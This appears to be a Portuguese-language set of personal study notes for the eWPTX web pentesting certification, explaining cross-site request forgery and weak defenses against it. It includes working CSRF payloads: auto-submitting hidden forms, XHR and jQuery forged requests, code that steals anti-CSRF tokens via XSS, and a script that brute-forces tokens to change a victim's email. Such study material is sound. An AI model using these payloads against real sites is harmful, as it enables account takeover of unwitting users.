Cross-Site Request Forgery

Anotações e resumos dos meus estudos pessoais para a eWPTX

CSRF: Recap & More

O ataque de CSRF permite explorar a relação de confiança entre a aplicação web e as requisições HTTP feitas pelo usuário.

Uma aplicação está vulnerável a CSRF se:

Para validar a sessão a aplicação depende de mecanismos como Cookies e Basic Auth, que são injetados automaticamente pelo navegador
O atacante consegue determinar todos os parâmetros necessários para realizar uma requisição maliciosa

Para explorar o CSRF com sucesso o atacante precisa:

Que a vitima tenha uma sessão ativa e válida quando executar a requisição maliciosa
Conseguir forjar uma requisição em nome da vítima

Os 2 principais cenários onde a vulnerabilidade ocorre são:

Ausência de defesa contra CSRF
Fraqueza na implementação dos mecanismos de defesa como: cookie-only, tela de confirmação, usar POST, checar o referer header

Attack Vectors

Force Browsing with GET

Como já se sabe, a vulnerabilidade acontece quando o atacante consegue forçar o browser da vítima a fazer uma requisição na aplicação alvo

Exemplo

Imaginando um cenário onde o usuário consegue alterar o seu email simplesmente informando o endereço novo

// Por padrão o form usa o método GET
...
<form action="change.php">
	<label name="email">Your email is: <b>myC00Lemail@victim.site</b></label>
	<input type="hidden" name="old" value="myC00Lemail@victim.site">
	<label name="email">New email</label>
	<input type="email" name="new" placeholder="your new email" required>
	<input type="submit" value="Confirm">
</form>
...

Nesse caso, não existe nenhuma proteção contra CSRF, então, para explorar a vulnerabilidade é preciso gerar uma requisição GET no navegador da vítima. Para isso pode-se usar a tag img

<img src='http://victim.site/csrf/changeemail/change.php?old=mycoolemail%40victim.site&new=evil%40hacker.site'>

Para enviar o payload para a vítima pode-se usar uma outra vulnerabilidade, como XSS ou injeção de HTML, ou ainda, usar engenharia social

Além da tag img, existem várias outras que forçam o browser a fazer uma requisição GET

// Requer interação do usuário
<a href=URL>click here
<form><input formaction=URL>
<button formaction=URL>
...

// Não requer a interação do usuário
<iframe src=URL>
<script src=URL>
<input type="image" src=URL alt="">
<embed src=URL>
<audio src=URL>
<video src=URL>
<source src=URL>
<video poster=URL>
<link rel="stylesheet" href=URL>
<object data=URL>
<body background=URL>
<div style="background:url(URL)">
<style>body { background:url(URL) }</style>
...

Post Requests

Para explorar a vulnerabilidade através de uma requisição POST usando somente o HTML existe somente uma opção: o atributo "method" da tag FORM

<form action="somewhere" method="POST">

Entretanto, existem várias possibilidades utilizando HTML + JavaScript.

Seguindo o mesmo cenário anterior, temos algumas opções:

// submit()
...
<form action="change.php" method="POST" id="CSRForm">
	<input name="old" value="myC00Lemail@victim.site">
	<input name="new" value="evil@hacker.site">
</form>
<script>document.getElementById("CSRForm").submit()</script>
...

// onload e onerror
...
<form action="change.php" method="POST" id="CSRForm">
	<input name="old" value="myC00Lemail@victim.site">
	<input name="new" value="evil@hacker.site">
	<img src=x onerror="CSRForm.submit();">
</form>
...

// autofocus
...
<form action="change.php" method="POST" id="CSRForm">
	<input name="old" value="myC00Lemail@victim.site">
	<input name="new" value="evil@hacker.site" autofocus onfocus="CSRForm.submit()">
</form>
...

Normalmente ao realizar uma requisição POST o usuário é direcionado para outra página ou as vezes precisa confirmar o redirecionamento, para fazer isso de forma "silenciosa" temos algumas opções:

...
<iframe style="display:none" name="CSRFrame"></iframe>
<form action="change.php" method="POST" id="CSRForm" target="CSRFrame">
	<input name="old" value="myC00Lemail@victim.site">
	<input name="new" value="evil@hacker.site">
</form>
<script>document.getElementById("CSRForm").submit()</script>
...

// Usando XMLHttpRequest (XHR)
...
var url = "URL";
var params = "old=myC00Lemail@victim.site&new=evil@hacker.site";
var CSRF = new XMLHttpRequest();
CSRF.open("POST", url, false);
CSRF.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
CSRF.send(params);
...

// jQuery
...
$.ajax({
	type: "POST",
	url: "URL",
	data: "old=myC00Lemail@victim.site&new=evil@hacker.site",
});
...

Exploiting Weak Anti-CSRF Measures

Existem uma série de medidas conhecidas contra o CSRF que não protegem a aplicação adequadamente

Usar somente requisições POST

Como visto anteriormente, existem várias formas de explorar a vulnerabilidade usando o método POST

Vários passos durante o processo

Algumas aplicações implementam alguns passos para finalizar aquela tarefa, como tela de confirmação entre outras coisas. Uma vez que o atacante consegue entender para onde a requisição final vai, ele consegue burlar todos esses passos

Checar o header Referer

Esse header pode ser alterado facilmente com o uso de um proxy, por exemplo, tornando necessário a implementação de outros mecanismos para que ele tenha um efetivo bloqueio

Token Anti-CSRF previsível

Um dos mecanismos mais efetivos contra o CSRF é a utilização do token comumente chamado de Anti-CSRF token. Esse token é gerado e inserido junto com a requisição e verificado no backend

https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html

Para que esse mecanismo seja implementado da maneira correta, o token deve ser gerado de forma randômica e não pode ser facilmente adivinhado pelo atacante

Obviamente, se a aplicação utilizar um token que seja fácil de adivinhar, a aplicação vai estar vulnerável, exemplo:

<input type="hidden" name="antiCSRF" value="9">
<input type="hidden" name="antiCSRF" value="c9f0f895fb98ab9159f51fd0297e236d">  //Base64(8)
<input type="hidden" name="antiCSRF" value="MjE=">  //Base64(21)

Unverified Anti-CSRF Token

Algumas vezes a aplicação implementa um token forte, porém acaba não verificando o token no servidor. Esse é bem menos provável mas acontece

<form action="change.php">
	<input type="hidden" name="anti_csrf_" value="bgoDZVGis4bdh6723882930rttIvgV">
	<input type="hidden" name="old" value="myC00Lemail@victim.site">
	<input type="email" name="new" placeholder="your new email" required>
	<input type="submit" value="Confirm">
</form>

Secret Cookies

Uma das técnicas usadas é criar um cookie com uma informação secreta e checar se o usuário enviou esse cookie na requisição. Porém os cookies são enviados em todas as requisições do usuário e também podem ser alteradas pelo usuário

Advanced CSRF Exploitation

Bypassing CSRF Defenses with XSS

Todos os mecanismos implementados para proteção do CSRF são feitos para mitigar ataques de CSRF e não XSS. Tecnicamente, um ataque de XSS está na mesma origem que o CSR, então, todas os mecanismos de defesa, tirando o Challenge-Response, podem ser bypassados

Bypassing Header Checks

Checar os headers Referer e Origin simplesmente verificam se a requisição veio da mesma origem. Explorando o XSS esses mecanismos já são bypassados

Bypassing Anti-CSRF Token

Quando a aplicação uma um padrão de token sincronizado com o servidor o cenário muda um pouco. Para burlar essa proteção é preciso realizar o hijack do token Anti-CSRF

Com o XSS existem 2 cenários possíveis: O XSS está na mesma página que o formulário ou o XSS está em outra parte da aplicação

O Bypass acontece geralmente em 2 ou 3 passos, dependendo de onde o XSS está

Fazer uma requisição válida do formulário
Extrair o token válido do código fonte
Forjar uma requisição com o token roubado

1. Fazer uma requisição válida do formulário

Nesse passo precisamos pegar o HTML da página

No pior cenário o XSS não está na mesma página do formulário alvo então é necessário realizar um GET

Usando o XMLHttpRequest

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function(){
	if (xhr.readyState == 4){
		var htmlSource = xhr.responseText;  // <- Código fonte da página
		//some operations...
	}
}
xhr.open('GET','http://victim.site/csrf-form-page.html', true);
xhmr.send();

jQuery

jReq = jQuery.get('http://victim.site/csrf-form-page.html',
	function(){
		var htmlSource = jReq.responseText;  // <- Código fonte da página
		//some operations...
	});

2. Extrair o token válido do código fonte

No melhor cenário, é possível acessar o DOM diretamente e extrair o token

var token = document.getElementsByName('csrf_token')[0].value

Se o XSS está em uma página diferente é necessário analisar o resultado da primeira requisição para extrair o token do HTML

https://developer.mozilla.org/en-US/docs/Web/API/DOMParser

Pode-se realizar essa função de 2 modos:

//Using Regex
pattern = /csrf_token'\svalue='(.*)'/;
token = htmlSource.match(pattern)[1]

//Using DOMParser
parser = new DOMParser().parseFromString(htmlSource, "text/html");
token = parser.getElementsByName('csrf_token')[0];

3. Forjar uma requisição com o token roubado

Após conseguir todas as informações, basta realizar a requisição usando uma das técnicas vistas anteriormente

Bypassing Anti-CSRF Token Brute Forcing

Para esse cenário, temos uma situação onde não conseguimos roubar os cookies do usuário mas ele vai acessar uma página maliciosa de nosso controle, ou existe um XSS na aplicação onde é possível injetar o código

Como exemplo, será utilizado o mesmo exemplo anterior de alteração de email, porém agora com um token randomico

<form action="change.php" method="POST">
	<input type="hidden" name="csrfToken" value="TOKEN"> // randon token
	<input type="hidden" name="old" value="myC00Lemail@victim.site">
	<input type="email" name="new" placeholder="your new email" required>
	<input type="submit" value="Confirm">
</form>

Para o exemplo, vamos considerar que o token é um número randômico entre 100 e 300

...
<form action="change.php" method="POST">
	<input type="hidden" name="csrfToken" value="TOKEN"> // rand(100, 300);
...

Para explorar essa vulnerabilidade é necessário criar um script que realiza 200 requisições para esse formulário. Para isso pode-se usar o XMLHttpRequest

var i = 100;
function bruteLoop(){
	setTimeout(function(){
		XHRPost(i);
		i++;
		if (i < 300)
			bruteLoop();
	}, 30) // sleep a little bit
}

function XHRPost(tokenID){
	var http = new XMLHttpRequest();
	var url = "http://victim.site/csrf/brute/change_post.php"; // Change this
	http.open("POST", url, true);

	http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	http.withCredentials = 'true';

	http.onreadystatechange = function(){ // We don't care about responses
		if (http.readyState > 1) http.abort();
	}
	var params = "old=myoldemail&confirm=1&new=attackerEmail&csrftoken=" + tokenID;
	http.send(params);
}

Caso o formulário seja enviado através do método GET

function MakeGET(tokenID){

	var url = "http://victim.site/csrf/brute/change_post.php?";
	url += "old=myoldemail&confirm=1&";
	url += "new=attackerEmail&csrftoken=" + tokenID;"

	new Image().src = url; // GET request
}

PreviousEvasion Basics NextCross-Site Scripting

Last updated 1 month ago

hashtagCSRF: Recap & More

hashtagAttack Vectors

hashtagForce Browsing with GET

hashtagPost Requests

hashtagExploiting Weak Anti-CSRF Measures

hashtagAdvanced CSRF Exploitation

hashtagBypassing CSRF Defenses with XSS

hashtagBypassing Header Checks

hashtagBypassing Anti-CSRF Token

hashtagBypassing Anti-CSRF Token Brute Forcing